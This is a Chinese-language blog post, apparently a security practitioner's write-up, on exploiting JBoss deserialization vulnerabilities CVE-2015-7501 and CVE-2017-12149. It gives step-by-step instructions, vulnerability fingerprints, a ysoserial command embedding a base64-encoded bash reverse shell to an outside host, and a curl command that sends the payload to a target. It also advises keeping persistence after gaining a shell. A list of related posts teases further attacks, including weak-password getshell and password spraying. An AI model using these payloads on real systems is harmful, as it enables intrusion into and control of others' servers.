JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)

news/2023/12/9 18:02:25

最近复现jboss反序列化漏洞的时候发现,JMXInvokerServlet 反序列化漏洞和Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器的漏洞可以是同一个操作思路就能进行“一打二”

CVE-2015-7501漏洞:JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

CVE-2017-12149漏洞:该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。


以下攻击方法适用于CVE-2015-7501和CVE-2017-12149

CVE-2017-12149适用JBoss版本:5.x / 6.x

踩坑提醒:生成的ser文件最好在linux系统操作,windows会出现各种错误,甚至shell反弹不回来。最后实验是成功了,但实战中和测试中发现,shell的存活时间不长,大概5-10分钟就会断开,所以getshell后最好做维持权限


步骤:

发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或者burpsuit对/invoker/JMXInvokerServlet发送ser文件→获得反弹shell


JMXInvokerServlet漏洞指纹:

访问/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载
在这里插入图片描述

在这里插入图片描述

jboss 6.0反序列化漏洞指纹:

该漏洞出现在/invoker/readonly请求中

在这里插入图片描述


把bash反弹shell进行编码
http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述

ysoserial包下载地址
https://github.com/frohoff/ysoserial

利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbi1mei1keC5zYWt1cmFmcnAuY29tLzI4ODQ0IDA+JjE=}|{base64,-d}|{bash,-i}">aufeng.ser

在这里插入图片描述

对invoker/JMXInvokerServlet目录使用post请求,右击用Paste from file把生成的ser文件上传然后发包(记得另开监听端口先进行监听)
在这里插入图片描述

成功获得反弹的shell
在这里插入图片描述

也可以使用curl来进行发包

curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @aufeng.ser

在这里插入图片描述


CVE-2017-12149工具使用:

该工具只适用CVE-2017-12149,并不适用JMXInvokerServlet 反序列化漏洞,但是通过ysoserial包生成cer的方法,适用以上两个漏洞
在这里插入图片描述


https://dhexx.cn/news/show-111.html

相关文章

Jboss 4.x版本jmx-console控制台弱口令getshell

总结: 1.发现jboss4.0,尝试弱口令,成功 2.直接访问ip/jmx-console/HtmlAdaptor?actioninspectMBean&namejboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL 3.void addurl中的Param Value中插入公网部署好的war包 4.返回第二步&#xf…

Jboss 5.x/6.x admin-Console后台部署war包Getshell

jboss只能解析他生成war的那个jsp脚本 Jboss 5.x/6.x版本不能使用jmx Console部署war包,但可以用administrator Console部署, Jboss 4.0部署war包getshell(点击) 使用账号密码登录后台 登录进admin-console后台后,点击Web Appl…

app服务端抓包方法

普通情况 手机和burp同一个网段,然后手机导入了burp证书,需要把car改成cer,电脑设置成自己的ip 手机处设置成电脑的代理名和端口 电脑就可以抓取流量了 如果还抓取不了流量,可以尝试关闭防火墙,然后再对网页抓包&am…

Java Servlet创建和学习

前言 最近学java审计,想了解java web开发基础,所以想先从servlet,体验下纯java web的开发 所需环境 Jdk 1.8 Tomcat 8.5 IDEA IDEA中Javaweb 创建过程总结大概如下5点 1.创建Project项目 2.WEB-INF下创建classes和lib目录 3.Project Struc…

servlet SQL注入的java审计

刚入门学习java审计,注定要走很多弯路,但希望能坚持下来从容易到难,一步步的成长。 这篇文章是基于panda 师傅的文章来学习的, https://xz.aliyun.com/t/6872?accounttraceid80830b9ba7504847b13dec404f34658aspsf servlet搭建…

springmvc的创建和学习

使用idea搭一个简单的springmvc,中间踩了很多的坑,这个星期一直在搞java,感觉渗透的手感也开始生疏了,希望自己能一直保持进步的状态的,每天都进步一点点,java审计注定会走很多弯路,学代码是很枯…

Java命令执行代码

通过执行Runtime.getRuntime().exec()函数执行 calc.exe 命令 package first;public class RCE2 {public static void main(String[] args) {String command1 "calc.exe";try {Process process Runtime.getRuntime().exec(command1);process.waitFor();}catch(Exc…

Java反射的学习笔记

什么是java反射 大白话讲就是反向获取class中各种对象的信息、例如成员变量、方法、构造方法、包等等信息 图片来自: 获得到类的字节码有3种方式 要想反射,首先第一步就是得到类的字节码,获得到类的字节码有3种方式 1、 Student stu1 n…

Powershell的学习笔记

Powershell的优点 1、PowerShell可以用来管理活动目录 2、Windows7以上的操作系统默认安装 3、很多杀毒软件检测不到PowerShell的活动 4、可以从另外一个系统中下载PowerShell脚本并执行 5、cmd通常会被杀毒软件阻止运行,而PowerShell不会 6、PowerShell无须写到磁…

域内用户枚举和密码喷射浅析

由于Kerberos本身是一种基于身份认证的协议,所以也可对进行暴力破解或用户名枚举,并且不需要域用户下,只要攻击者所控的机器可以与域控的KDC正常通信即可(可以ping通) 实验 我这里实验主要是域控administrator、域成…